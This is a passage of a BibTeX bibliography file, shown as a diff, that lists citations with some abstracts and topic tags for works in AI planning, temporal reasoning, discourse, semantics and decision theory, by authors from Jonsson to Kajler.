jonsson_p-backstrom:1998a, + author = {Peter Jonsson and Christer B\"ackstr\"om}, + title = {State-Variable Planning under Structural Restrictions: + Algorithms and Complexity}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {100}, + number = {1--2}, + pages = {125--176}, + acontentnote = {Abstract: + Computationally tractable planning problems reported in the + literature so far have almost exclusively been defined by + syntactical restrictions. To better exploit the inherent + structure in problems, it is probably necessary to study also + structural restrictions on the underlying state-transition + graph. The exponential size of this graph, though, makes such + restrictions costly to test. Hence, we propose an intermediate + approach, using a state-variable model for planning and defining + restrictions on the separate state-transition graphs for each + state variable. We identify such restrictions which can + tractably be tested and we present a planning algorithm which is + correct and runs in polynomial time under these restrictions. + The algorithm has been implemented and it outperforms Graphplan + on a number of test instances. In addition, we present an + exhaustive map of the complexity results for planning under all + combinations of four previously studied syntactical restrictions + and our five new structural restrictions. This complexity map + considers both the optimal and non-optimal plan generation + problem.}, + topic = {planning-algorithms;complexity-in-AI;} + } + +@article{ jonsson_p-backstrom:1998b, + author = {Peter Jonsson and Christer B\"ackstr\"om}, + title = {A Unifying Approach to Temporal Constraint Reasoning}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {102}, + number = {1}, + pages = {143--155}, + topic = {constraint-propagation;temporal-reasoning;} + } + +@article{ jonsson_p-etal:1999a, + author = {Peter Jonsson and Thomas Drakengren and Christer + B\"ackstr\"om}, + title = {Computatuonal Complexity of Relating Time Points + with Intervals}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {109}, + number = {1--2}, + pages = {273--295}, + topic = {temporal-reasoning;kr-complexity-analysis;complexity-in-AI;} + } + +@article{ jonsson_p-etal:2000a, + author = {Peter Jonsson and Patrik Haslum and Christer + B\"ackstr\"om}, + title = {Towards Efficient Universal Planning: A Randomized + Approach}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {117}, + number = {1}, + pages = {1--29}, + acontentnote = {Abstract: + One of the most widespread approaches to reactive planning is + Schoppers' universal plans. We propose a stricter definition of + universal plans which guarantees a weak notion of soundness, not + present in the original definition, and isolate three different + types of completeness that capture different behaviors exhibited + by universal plans. We show that universal plans which run in + polynomial time and are of polynomial size cannot satisfy even + the weakest type of completeness unless the polynomial hierarchy + collapses. By relaxing either the polynomial time or the + polynomial space requirement, the construction of universal + plans satisfying the strongest type of completeness becomes + trivial. As an alternative approach, we study randomized + universal planning. By considering a randomized version of + completeness and a restricted (but nontrivial) class of + problems, we show that there exists randomized universal plans + running in polynomial time and using polynomial space which are + sound and complete for the restricted class of problems. We also + report experimental results on this approach to planning, + showing that the performance of a randomized planner is not + easily compared to that of a deterministic planner.}, + topic = {planning-algorithms;complexity-in-AI;reactive-planning;} + } + +@article{ joos:1958a, + author = {Martin Joos}, + title = {Semology: A Linguistic Theory of Meaning}, + journal = {Studies in Linguistics}, + year = {1958}, + volume = {13}, + number = {3--4}, + pages = {53--70}, + topic = {nl-semantics;} + } + +@article{ joos:1972a, + author = {Martin Joos}, + title = {Semantic Axiom Number One}, + journal = {Language}, + year = {1972}, + volume = {48}, + pages = {257--265}, + missinginfo = {number}, + topic = {semantics;} + } + +@incollection{ jordan_mi-rosenbaum:1989a, + author = {Michael I. Jordan and David A. Rosenbaum}, + title = {Action}, + booktitle = {Foundations of Cognitive Science}, + publisher = {The {MIT} Press}, + year = {1989}, + editor = {Michael I. Posner}, + chapter = {18}, + pages = {727--767}, + address = {Cambridge, Massachusetts}, + topic = {motor-skills;cognitive-psychology;action;} + } + +@inproceedings{ jordan_pw-dieugenio:1993a, + author = {Pamela Jordan and Barbara Di Eugenio}, + title = {Control and Initiative in Collaborative Problem Solving + Dialogues}, + booktitle = {Working Notes of the {AAAI} Spring Symposium on + Computational Models for Mixed Initiative}, + year = {199?}, + organization = {American Association for Artificial Intelligence}, + address = {Menlo Park, CA}, + missinginfo = {pages}, + topic = {discourse;discourse-initiative;} + } + +@inproceedings{ jordan_pw-thomason_rh:1995a, + author = {Pamela Jordan and Richmond Thomason}, + title = {Empirical Methods in Discourse: Limits and Prospects}, + booktitle = {1995 Workshop on Emipirical Methods in Discourse}, + year = {1995}, + organization = {AAAI}, + topic = {discourse;discourse-simulation;pragmatics;} + } + +@inproceedings{ jordan_pw:1996a, + author = {Pamela W. Jordan}, + title = {Using Terminological Knowledge Representation Languages to + Manage Linguistic Resources}, + booktitle = {Proceedings of the Thirty-Fourth Annual Meeting of the + Association for Computational Linguistics}, + year = {1996}, + editor = {Arivind Joshi and Martha Palmer}, + pages = {366--371}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco}, + topic = {taxonomic-logics;computational-lexicography;verb-classes;} + } + +@inproceedings{ jordan_pw-thomason_rh:1996a, + author = {Pamela Jordan and Richmond Thomason}, + title = {Refining the Categories of Miscommunication}, + booktitle = {Proceedings of the {AAAI} Workshop on Detecting, + Repairing, and Preventing Human-Machine Miscommunication}, + year = {1996}, + organization = {AAAI}, + topic = {discourse;miscommunication;pragmatics;} + } + +@inproceedings{ jordan_pw-walker_ma:1996a, + author = {Pamela W. Jordan and Marilyn A. Walker}, + title = {Deciding to Remind During Collaborative Problem Solving: + Empirical Evidence for Agent Strategies}, + booktitle = {Proceedings of the Thirteenth National Conference on + Artificial Intelligence and the Eighth Innovative + Applications of Artificial Intelligence Conference, + Vol. 2}, + year = {1996}, + editor = {Howard Shrobe and Ted Senator}, + pages = {16--23}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {discourse-planning;limited-attention;pragmatics;} + } + +@article{ jorgensen-etal:1984a, + author = {J. Jorgensen and G.A. Miller and Dan Sperber}, + title = {Test of the Mention Theory of Irony}, + journal = {Journal of Experimental Psychology: General}, + year = {1984}, + volume = {113}, + number = {1}, + pages = {112--120}, + missinginfo = {A's 1st name}, + topic = {irony;cognitive-psychology;} + } + +@article{ jorgensen:1996a, + author = {J. Jorgensen}, + title = {The Functions of Sarcastic Irony in Speech}, + journal = {Journal of Pragmatics}, + year = {1996}, + volume = {26}, + pages = {613--634}, + missinginfo = {A's 1st name, number}, + topic = {irony;cognitive-psychology;} + } + +@article{ josephson_jr-etal:1987a, + author = {John R. Josephson and B. Chandrasekaran and J. W. Smith + and M. C. Tanner}, + title = {A Mechanism for Forming Composite Explanatory Hypotheses}, + journal = {{IEEE} Transactions on Systems, Man and Cyberbetics}, + year = {1987}, + volume = {17}, + pages = {445--454}, + missinginfo = {number}, + topic = {abduction;} + } + +@inproceedings{ josephson_jr:1990a, + author = {John R. Josephson}, + title = {On the `Logical Form' of Abduction}, + booktitle = {Working Notes, {AAAI} Spring Symposium on Automated + Deduction}, + year = {1990}, + editor = {P. O'Rorke}, + pages = {140--144}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + missinginfo = {E's 1st name}, + topic = {abduction;} + } + +@techreport{ josephson_jr:1990b, + author = {John R. Josephson}, + title = {Spoken Language Understanding as Layered Abductive + Inference}, + institution = {The Ohio State University}, + year = {1990b}, + address = {Columbus, Ohio}, + note = {{LAIR} Technical Report.}, + missinginfo = {number}, + topic = {abduction;speech-recognition;} + } + +@book{ josephson_jr-josephson_sg:1994a, + editor = {John R. Josephson and Susan G. Josephson}, + title = {Abductive Inference: Computation, Philosophy, Technology}, + publisher = {Cambridge University Press}, + year = {1994}, + address = {Cambridge, England}, + isbn = {0521434610}, + topic = {abduction;} + } + +@article{ joshi-etal:1975a, + author = {Arivind Joshi, L. Levy and M. Takahasihi}, + title = {Tree Adjunct Grammars}, + journal = {Journal of Computer and System Sciences}, + year = {1975}, + volume = {10}, + pages = {136--63}, + missinginfo = {A's 1st name, number}, + topic = {TAG-grammar;} + } + +@article{ joshi-levy:1977a, + author = {Arivind Joshi and Leon S. Levy}, + title = {Constraints on Structural Descriptions: Local Transformations}, + journal = {SIAM J. Comput.}, + year = {1977}, + volume = {6}, + number = {2}, + pages = {272--284}, + missinginfo = {Full j name}, + topic = {formal-language-theory;} + } + +@inproceedings{ joshi-kuhn:1979a, + author = {Arivind Joshi and Steve Kuhn}, + title = {Centered Logic: The Role of Entity Centered Sentence + Representation in Natural Language Inferencing}, + booktitle = {Proceedings of the Seventh International Joint + Conference on Artificial Intelligence}, + year = {1979}, + editor = {Bruce Buchanan}, + pages = {435--439}, + publisher = {International Joint Conference on Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {anaphora;discourse;centering;} + } + +@inproceedings{ joshi-weinstein:1979a, + author = {Arivind K. Joshi and Scott Weinstein}, + title = {Control of Inference: Role of Some Aspects of Discourse + Structure---Centering}, + booktitle = {Proceedings of the Seventh International Joint + Conference on Artificial Intelligence}, + year = {1981}, + editor = {Patrick J. Hayes}, + pages = {385--387}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {anaphora;discourse;centering;} + } + +@book{ joshi-etal:1981a, + editor = {Arivind Joshi and Bonnie Webber and Ivan Sag}, + title = {Elements of Discourse Understanding}, + publisher = {Cambridge University Press}, + year = {1981}, + address = {Cambridge, England}, + ISBN = {0521233275}, + topic = {discourse;pragmatics;} + } + +@incollection{ joshi:1982a, + author = {Arivind Joshi}, + title = {Mutual Beliefs in Question-Answer Systems}, + booktitle = {Mutual Knowledge}, + publisher = {Academic Press}, + year = {1982}, + editor = {N.V. Smith}, + pages = {181--197}, + address = {London}, + topic = {mutual-belief;discourse;pragmatics;} + } + +@inproceedings{ joshi-etal:1984a, + author = {Aravind Joshi and Bonnie Lynn Webber and Ralph M. Weischedel}, + title = {Living up to Expectations: Computing Expert Responses}, + booktitle = {Proceedings of the Fourth National Conference on + Artificial Intelligence}, + year = {1984}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + missinginfo = {editor,pages}, + topic = {nl-interpretation;discourse;implicature; + pragmatics;} + } + +@unpublished{ joshi:1985b, + author = {Arivind Joshi}, + title = {Processing of Sentences with Intra-Sentential Code-Switching}, + year = {1985}, + note = {Unpublished manuscript, Department of Computer and + Information Science, University of Pennsylvania.}, + topic = {code-switching;} + } + +@incollection{ joshi:1987a, + author = {Aravind K. Joshi}, + title = {The Relevance of Tree Adjoining Grammar to Generation}, + booktitle = {Natural Language Generation: New Results in Artificial + Intelligence}, + year = {1987}, + editor = {Gerard Kempen}, + publisher = {Kluwer Academic Publishers}, + address = {Dordrecht}, + note = {Also available as Technical Report MS-CIS-87-16, Computer and + Information Science, University of Pennsylvania.}, + topic = {nl-generation;TAG-grammar;} +} + +@incollection{ joshi:1987b, + author = {Arivind Joshi}, + title = {An Introduction to Tree Adjoining Grammars}, + booktitle = {Mathematics of Language}, + publisher = {John Benjamins}, + year = {1987}, + editor = {Alexis Manaster-Ramer}, + missinginfo = {pages}, + address = {Amsterdam}, + topic = {TAG-grammar;} + } + +@incollection{ joshi:1994a, + author = {Aravind K. Joshi}, + title = {Some Recent Trends in Natural Language Processing}, + booktitle = {Current Issues in Computational Linguistics: Essays in + Honour of {D}on {W}alker}, + publisher = {Giardini Editori e Stampatori and Kluwer Academic + Publishers}, + year = {1994}, + editor = {Antonio Zampolli and Nicoletta Calzolari and Martha Palmer}, + pages = {491--501}, + address = {Pisa and Dordrecht}, + topic = {nlp-survey;parsing-algorithms;parsing-complexity; + grammar-formalisms;statistical-nlp;} + } + +@article{ joshi-kulick:1997a, + author = {Arivind K. Joshi and Seth Kulick}, + title = {Partial Proof Trees as Building Blocks for a + Categorial Grammar}, + journal = {Linguistics and Philosophy}, + year = {1997}, + volume = {20}, + number = {6}, + pages = {637--667}, + topic = {categorial-grammar;} + } + +@incollection{ joshi-kulick:1997b, + author = {Aravind K. Joshi and Seth Kulick}, + title = {Partial Proof Trees, Resource Sensitive Logics, and + Constraints}, + booktitle = {{LACL}'96: First International Conference on + Logical Aspects of Computational Linguistics}, + publisher = {Springer-Verlag}, + year = {1997}, + editor = {Christian Retor/'e}, + pages = {21--42}, + address = {Berlin}, + topic = {logic-and-computational-linguistics;} + } + +@incollection{ joshi-weinstein:1997a, + author = {Arivind Joshi and Scott Weinstein}, + title = {Formal Systems for Complexity and Control of Discourse: A + Reprise and Some Hints}, + booktitle = {Centering Theory in Discourse}, + publisher = {Oxford University Press}, + year = {1997}, + editor = {Marilyn A. Walker and Arivind K. Joshi and Ellen Prince}, + pages = {31--38}, + address = {Oxford}, + topic = {anaphora-resolution;discourse;pragmatics;centering;} + } + +@article{ joshi:1998a, + author = {Arivind K. Joshi}, + title = {Role of Constrained Computational Systems in + Natural Language Processing}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {103}, + number = {1--2}, + pages = {117--132}, + topic = {TAG-grammar;centering;finite-state-nlp;} + } + +@article{ joshi:1998b, + author = {Arivind Joshi}, + title = {Relationship between Natural Language Processing and {AI}: + Role of Constrained Formal-Computational Systems}, + journal = {The {AI} Magazine}, + year = {1998}, + volume = {19}, + number = {3}, + pages = {95--107}, + topic = {nlp-survey;TAG-grammar;finite-state-nlp;} + } + +@incollection{ joshi-etal:1999a, + author = {Arivind K. Joshi and Seth Kulick and Natasha + Kurtonina}, + title = {Semantic Composition for Partial Proof Trees}, + booktitle = {Proceedings of the Twelfth {A}msterdam Colloquium}, + publisher = {ILLC/Department of Philosophy, University + of Amsterdam}, + year = {1999}, + editor = {Paul Dekker}, + pages = {157--162}, + address = {Amsterdam}, + topic = {nl-semantics;higher-order-logic;hybrid-modal-logics;} + } + +@article{ joskowicz-sacks:1991a, + author = {Leo Joskowicz and Elisha P. Sacks}, + title = {Computational Kinematics}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {51}, + number = {1--3}, + pages = {381--416}, + topic = {qualitative-physics;} + } + +@article{ joslin-roach:1989a, + author = {David Joslin and John Roach}, + title = {A Theoretical Analysis of Conjunctive-Goal Problems}, + journal = {Artificial Intelligence}, + year = {1989}, + volume = {41}, + number = {1}, + pages = {97--106}, + topic = {planning;conjunctive-goals;} + } + +@phdthesis{ joslin:1996a, + author = {David Joslin}, + title = {Passive and Active Decision Postponement in Plan + Generation}, + school = {Intelligent Systems Program, University of Pittsburgh}, + year = {1996}, + type = {Ph.{D}. Dissertation}, + address = {Pittsburgh, Pennsylvania}, + topic = {planning;planning-systems;constraint-satisfaction;} + } + +@book{ joyce:1999a, + author = {James M. Joyce}, + title = {The Foundations of Causal Decision Theory}, + publisher = {Cambridge University Press}, + year = {1999}, + address = {Cambridge, England}, + xref = {Reviews: levi:2000a, janusz:2001a.}, + topic = {causal-decision-theory;} + } + +@incollection{ joyce:2000a, + author = {James M. Joyce}, + title = {Why We Still Need the Logic of Decision}, + booktitle = {{PSA}'1998: Proceedings of the 1998 Biennial Meetings + of the Philosophy of Science Association, Part {II}: + Symposium Papers}, + publisher = {Philosophy of Science Association}, + year = {2000}, + editor = {Don A. Howard}, + pages = {S1--S13}, + address = {Newark, Delaware}, + topic = {decision-theory;} + } + +@article{ joyve:1998a, + author = {Jame Joyve}, + title = {A Nonpragmatic Vindication of Probabilism}, + journal = {Philosophy of Science}, + year = {1998}, + volume = {65}, + pages = {575--603}, + xref = {Commentary: maher:2002a}, + topic = {foundations-of-probability;} + } + +@book{ juarrero:1999a, + author = {Alicia Juarrero}, + title = {Dynamics in Action: Intentional Behavior as a Complex + System}, + publisher = {The {MIT} Press}, + year = {1999}, + address = {Cambridge, Massachusetts}, + xref = {Review: khalidi:2001a.}, + topic = {action;intention;nonlinear-systems;emergence;} + } + +@book{ jubien:1993a, + author = {Michael Jubien}, + title = {Ontology, Modality, and the Fallacy of Reference}, + publisher = {Cambridge University Press}, + year = {1993}, + address = {Cambridge, England}, + xref = {Review of: sidner_t:1999a.}, + topic = {philosophical-ontology;essentialism;reference;} + } + +@incollection{ jubien:1993b, + author = {Michael Jubien}, + title = {Proper Names}, + booktitle = {Philosophical Perspectives, Volume 7: + Language and Logic}, + publisher = {Blackwell Publishers}, + year = {1993}, + editor = {James E. Tomberlin}, + pages = {487--504}, + address = {Oxford}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {semantics-of-proper-names;proper-names;reference; + identity;} + } + +@incollection{ jucker:1992a, + author = {Andreas H. Jucker}, + title = {Conversation: Structure or Process}, + booktitle = {(On) {S}earle on Conversation}, + publisher = {John Benjamins Publishing Company}, + year = {1992}, + editor = {Herman Parret and Jef Verschueren}, + pages = {76--90}, + address = {Amsterdam}, + topic = {foundations-of-pragmatics;discourse-analysis;pragmatics;} + } + +@incollection{ juettner-rentschler:2001a, + author = {Martin Juettner and Ingo Rentschler}, + title = {Context Dependency of Pattern-Category Learning}, + booktitle = {Modeling and Using Context}, + publisher = {Springer-Verlag}, + year = {2001}, + editor = {Varol Akman and Paolo Bouquet and Richmond Thomason + and Roger A. Young}, + pages = {210--220}, + address = {Berlin}, + topic = {context;} + } + +@book{ juffs:1996a, + author = {Alan Juffs}, + title = {Learnability and the Lexicon}, + publisher = {John Benjamins Publishing Co.}, + year = {1996}, + address = {Amsterdam}, + topic = {L1-language-learning;L2-language-learning;universal-grammar;} + } + +@article{ juhl:1995a, + author = {Cory Juhl}, + title = {Is {G}old-{P}utnam Diagonalization Complete?}, + journal = {Journal of Philosophical Logic}, + year = {1995}, + volume = {24}, + number = {2}, + pages = {117--138}, + topic = {induction;} + } + +@article{ junghanns-schaeffer:2001a, + author = {Andreas Junghanns and Jonathan Schaeffer}, + title = {Sokoban: Enhancing General Single-Agent Search Methods + Using Domain Knowledge}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {129}, + number = {1--2}, + pages = {218--251}, + topic = {search;iterative-deepening;A*-algorithm;} + } + +@incollection{ junker-brewka:1991a, + author = {Ulrich Junker and Gerd Brewka}, + title = {Handling Partially Ordered Defaults in {TMS}}, + booktitle = {Symbolic and Quantitative Approaches for Uncertainty: + Proceedings of the {E}uropean Conference {ECSQAU}, Marseille, + France, October 1991}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {Rudolf Kruse and Pierre Siegel}, + pages = {211--218}, + address = {Berlin}, + topic = {truth-maintenance;} + } + +@book{ junqua-vannoord:2001a, + editor = {Jean-Claude Junqua and Gertjan van Noord}, + title = {Robustness in Language and Speech Technology}, + publisher = {Kluwer Academic Publishers}, + year = {2000}, + address = {Dordrecht}, + ISBN = {0-7923-6790-1}, + xref = {Review: carroll:2001a.}, + topic = {nlp-technology;} + } + +@incollection{ juola:1998a, + author = {Patrick Juola}, + title = {Cross-Entropy and Linguistic Typology}, + booktitle = {Proceedings of the Joint Conference on New Methods in + Language Processing and Computational Language Learning}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Jill Burstein and Claudia Leacock}, + pages = {141--149}, + address = {Somerset, New Jersey}, + topic = {historical-linguistics;linguistic-typology;statistical-nlp;} + } + +@incollection{ jurafsky-etal:1998a, + author = {Daniel Jurafsky and Elizabeth Shriberg and Barbara Fox + and Traci Curl}, + title = {Lexical, Prosodic, and Syntactic Cues for Dialog Acts}, + booktitle = {Discourse Relations and Discourse Markers: Proceedings + of the Conference}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Manfred Stede and Leo Wanner and Eduard Hovy}, + pages = {114--120}, + address = {Somerset, New Jersey}, + topic = {discourse-cue-words;discourse-structure;prosody;} + } + +@book{ jurafsky-martin_j:2000a, + author = {Daniel Jurafsky and James H. Martin}, + title = {Speech and Language Processing: An Introduction to + Natural Language Processing, Computational Linguistics, + and Speech Recognition}, + publisher = {Prentice Hall}, + year = {2000}, + address = {Englewood Cliffs, New Jersey}, + ISBN = {0130950696}, + xref = {Review: teller:2000a.}, + topic = {nlp-intro;} + } + +@article{ jurius-swart:2001a, + author = {Herman Jurius and Harrie de Swart}, + title = {Implication with Possible Exceptions}, + journal = {Journal of Symbolic Logic}, + year = {2001}, + volume = {66}, + number = {2}, + pages = {517--535}, + topic = {nonmonotonic-logic;model-preference;} + } + +@article{ jussien-lhomme:2002a, + author = {Narendra Jussien and Olivier Lhomme}, + title = {Local Search with Constant Propagation and Conflict-Based + Heuristics}, + journal = {Artificial Intelligence}, + year = {2002}, + volume = {139}, + number = {1}, + pages = {21--45}, + topic = {search;conflict-resolution;constraint-propagation;} + } + +@incollection{ just-etal:1996a, + author = {Marcel Adam Just and Patricia A. Carpenter and Darold D. + Hemphill}, + title = {Constraints on Processing Capacity: Architectural or + Implementational?}, + booktitle = {Mind Matters: A Tribute to {A}llen {N}ewell}, + publisher = {Lawrence Erlbaum Associates, Inc.}, + year = {1996}, + editor = {David M. Steier and Tom M. Mitchell}, + address = {Mahwah, New Jersey}, + pages = {141--178}, + topic = {cognitive-architectures;cognitive-psychology;} + } + +@article{ justice:2001a, + author = {John Justice}, + title = {On Sense and Reflexivity}, + journal = {The Journal of Philosophy}, + year = {2001}, + volume = {98}, + number = {7}, + pages = {351--378}, + topic = {proper-names;intensionality;sense-reference;} + } + +@article{ kabanza-etal:1997a, + author = {F. Kabanza and M. Barbeau and R. St-Denis}, + title = {Planning Control Rules for Reactive Agents}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {95}, + number = {1}, + pages = {67--113}, + topic = {planning;reactive-planning;} + } + +@incollection{ kac:1976a, + author = {Michael B. Kac}, + title = {Hypothetical Constructs in Syntax}, + booktitle = {Assessing Linguistic Arguments}, + publisher = {Hemisphere Publishing Corporation}, + year = {1976}, + editor = {Jessica R. Wirth}, + pages = {49--83}, + address = {Washington, D.C.}, + topic = {philosophy-of-linguistics;foundations-of-linguistics;} + } + +@book{ kadane-etal:1999a, + author = {Joseph B. Kadane and Mark J. Schervish and Teddy + Seidenfeld}, + title = {Rethinking the Foundations of Statistics}, + publisher = {Cambridge University Press}, + year = {1999}, + address = {Cambridge, England}, + topic = {foundations-of-statistics;Bayesian-statistics;} + } + +@article{ kadesch:1986a, + author = {R.R. Kadesch}, + title = {Subjective Inference with Multiple Evidence}, + journal = {Artificial Intelligence}, + year = {1986}, + volume = {28}, + number = {3}, + pages = {333--341}, + acontentnote = {Abstract: + The analysis of a number of pieces of evidence supporting a + single hypothesis is undertaken within a Bayesian framework. A + new relevance definition is introduced that takes advantage of + the linear relationship existing between the posterior + probability of the hypothesis and that of a single piece of + evidence. Two different simplifying assumptions lead to + expressions for the posterior probability of the hypothesis + based on revised probabilities of all the evidence. The first + assumption is one of mutual independence of each piece of + evidence from all other evidence. The second assumption is one + of independence of the relevance of each piece of evidence to + the hypothesis from the probabilities of the remaining evidence. + Most important, expressions for upper bounds on the input + relevances are given that guarantee the consistency of the + resulting posterior for the hypothesis.}, + topic = {relevance;Bayesian-reasoning;probabilistic-reasoning;} + } + +@phdthesis{ kadmon:1988a1, + author = {Nirit Kadmon}, + title = {On Unique and Non-Unique Reference and Asymmetric + Quantification}, + school = {Linguistics Department, University of Massachusetts + at Amherst}, + year = {1988}, + type = {Ph.{D}. Dissertation}, + address = {Amherst, Massachusetts}, + xref = {Book publication: kadmon:1988a2.}, + topic = {nl-semantics;reference;anaphora;} + } + +@book{ kadmon:1988a2, + author = {Nirit Kadmon}, + title = {On Unique and Non-Unique Reference and Asymmetric + Quantification}, + publisher = {Garland Publishing Company}, + year = {1988}, + address = {New York}, + xref = {Dissertation: kadmon:1988a1.}, + topic = {nl-semantics;reference;anaphora;} + } + +@article{ kadmon:1990a, + author = {Nirit Kadmon}, + title = {Uniqueness}, + journal = {Linguistics and Philosophy}, + year = {1990}, + volume = {13}, + number = {3}, + pages = {273--324}, + topic = {nl-semantics;nl-quantifiers;anaphora;uniqueness;donkey-anaphora; + definiteness;sloppy-identity;} + } + +@article{ kadmon-landman:1993a, + author = {Nirit Kadmon and Fred Landman}, + title = {Any}, + journal = {Linguistics and Philosophy}, + year = {1993}, + volume = {16}, + number = {4}, + pages = {353--422}, + topic = {nl-quantifiers;polarity;} + } + +@book{ kadmon:2001a, + author = {Nirit Kadmon}, + title = {Formal Pragmatics}, + publisher = {Blackwell Publishers}, + year = {2001}, + address = {Oxford}, + ISBN = {0-631-20120-3 (pbk)}, + topic = {pragmatics;definiteness;indefiniteness; + discourse-representation-theory;presupposition;focus;} + } + +@incollection{ kaebling:1987b, + author = {Leslie Kaebling}, + title = {An Architecture for Intelligent Reactive Systems}, + booktitle = {Reasoning about Actions and Plans, Proceedings of the 1986 + Workshop at Timberline, Oregon}, + publisher = {Morgan Kaufmann}, + pages = {395--410}, + year = {1987}, + topic = {reactive-planning;} + } + +@article{ kaebling-etal:1998a, + author = {Leslie Pack Kaebling and Michael L. Littman and + Anthony R. Cassandra}, + title = {Planning and Acting in Partially Observable Stochastic + Domains}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {101}, + number = {1--2}, + pages = {99--134}, + topic = {planning;uncertainty-in-AI;Markov-decision-processes;} + } + +@article{ kaelbling-rosenschein_sj:1990a, + author = {Leslie Kaelbling and Stanley J. Rosenschein}, + title = {Action and Planning in Embedded Agents}, + journal = {Robotics and Autonomous Systems}, + volume = {6}, + pages = {35--48}, + year = {1990}, + topic = {cognitive-robotics;} + } + +@book{ kager:1999a, + author = {Ren\'e Kager}, + title = {Optimality Theory}, + publisher = {Cambridge University Press}, + year = {1999}, + address = {Cambridge, England}, + ISBN = {0-521-58980-0}, + xref = {Review: eisner:2000a.}, + topic = {optimality-theory;} + } + +@article{ kagiromano:1977a, + author = {U. K\"agi-Romano}, + title = {Quantum Logic and Generalized Probability Theory}, + journal = {Journal of Philosophical Logic}, + year = {1977}, + volume = {6}, + number = {4}, + pages = {455--462}, + topic = {quantum-logic;probability;} + } + +@incollection{ kahle:1999a, + author = {Reinhard Kahle}, + title = {A Proof Theoretic View of Intensionality}, + booktitle = {Proceedings of the Twelfth {A}msterdam Colloquium}, + publisher = {ILLC/Department of Philosophy, University + of Amsterdam}, + year = {1999}, + editor = {Paul Dekker}, + pages = {163--168}, + address = {Amsterdam}, + topic = {proof-theory-intensionality;} + } + +@article{ kahle:2001a, + author = {Reinhard Kahle}, + title = {Truth in Applicative Theories}, + journal = {Studia Logica}, + year = {2001}, + volume = {68}, + number = {1}, + pages = {103--128}, + topic = {truth;Frege-structures;} + } + +@article{ kahn_ch:1966a, + author = {Charles H. Kahn}, + title = {The {G}reek Verb `to Be' and the Concept of Being}, + journal = {Foundations of Language}, + year = {1966}, + volume = {2}, + number = {3}, + pages = {245--265}, + topic = {ancient-philosophy;philosophical-ontology;} + } + +@article{ kahn_k-gorry:1977a, + author = {Kenneth Kahn and G. Anthony Gorry}, + title = {Mechanizing Temporal Knowledge}, + journal = {Artificial Intelligence}, + year = {1977}, + volume = {9}, + number = {1}, + pages = {87--108}, + acontentnote = {Abstract: + The importance that an understanding of time plays in many + problem-solving situations requires that intelligent programs be + equipped with extensive temporal knowledge. This paper discusses + one route to that goal, namely the construction of a time + specialist, a program knowledgable about time in general which + can be used by a higher level program to deal with the temporal + aspects of its problem-solving. Some examples are given of such + a use of a time specialist. The principal issues addressed in + this paper are how the time specialist organizes statements + involving temporal references, checks them for consistency, and + uses them in answering questions.}, + topic = {temporal-reasoning;} + } + +@article{ kahneman-tversky:1979a, + author = {Daniel Kahneman and Amos Tversky}, + title = {Prospect Theory: An Analysis of Decision Under Risk}, + journal = {Econometrica}, + volume = {47}, + pages = {263--291}, + year = {1979}, + topic = {decision-making;practical-reasoning;risk;} + } + +@unpublished{ kahneman-etal:1984a, + author = {Daniel Kahneman and R. Beyth-Marom and Z. Lanir}, + title = {Probabilistic Forecasting as Decision-{AID}}, + year = {1984}, + note = {Working Paper, The Hebrew University.}, + topic = {decision-making;} + } + +@article{ kahneman-lovallo:1993a, + author = {Daniel Kahneman and D. Lovallo}, + title = {Timid Choices and Bold Forecasts: A Cognitive Perspective + on Risk Taking}, + journal = {Management Science}, + year = {1993}, + volume = {39}, + pages = {17--31}, + topic = {risk;} + } + +@incollection{ kahrel-etal:1997a, + author = {Peter Kahrel and Ruthanna Barnet and Geoffrey Leech}, + title = {Towards Cross-Linguistic Standards or Guidelines for the + Annotation of Corpora}, + booktitle = {Corpus Annotation}, + publisher = {Longman}, + year = {1997}, + editor = {Roger Garside and Geoffrey Leech and Tony McEnery}, + pages = {231--242}, + address = {London}, + topic = {corpus-linguistics;corpus-annotation;} + } + +@article{ kaiser:2000a, + author = {Ed Kaiser}, + title = {Review of {\it Extended Finite State Models of Language}, + by {A}ndr\'as {K}ornai}, + journal = {Computational Linguistics}, + year = {2000}, + volume = {26}, + number = {2}, + pages = {282--285}, + xref = {Review of: kornai:1999a.}, + topic = {finite-state-nlp;} + } + +@book{ kajler:1998a, + editor = {N. Kajler}, + title = {Computer-Human Interaction in Symbolic Computation}, + publisher = {Springer-Verlag}, + year = {1998}, + address = {Wien}, + contentnote = {TC: + 1. Alan Wexelblat, "Research Challenges in Gesture: Open + Issues and Unsolved Problems" + 2. Alistair D.N. Edwards, "Progress in Sign Language Recognition" + 3. Sotaro Kita and Ingeborg van Gijn and and Harry van der + Hulst, "Movement Phases in Signs and Co-Speech + Gestures, and Their Transcription by Human Coders" + 4. Axel Kramer, "Classifying Two Dimensional Gestures in + Interactive Systems" + 5. Shuichi Nobe et al., "Are Listeners Paying Attention to + the Hand Gestures of an Anthropomorphic Agent? An + Evaluation Using a Gaze Tracking Method" + 6. Monica Bordegoni and Franco De Angelis, "High Performance + Real-Time Gesture Recognition Using Hidden Markov Models" + 7. Gerhard Rigoll and Andreas Kosmala and Stefan + Eickeler, "Gesture-Based and Haptic Interaction for + Human Skill Acquisition" + 10. Frank G. Hofmann and Peter Heyer and Günter + Hommel, "Velocity Profile Based Recognition of + Dynamic Gestures with Discrete Hidden {M}arkov Models" + 11. Marcell Assan and Kirsti Grobel, "Video-Based Sign + Language Recognition Using Hidden {M}arkov Models" + 12. Sylvie Gibet et 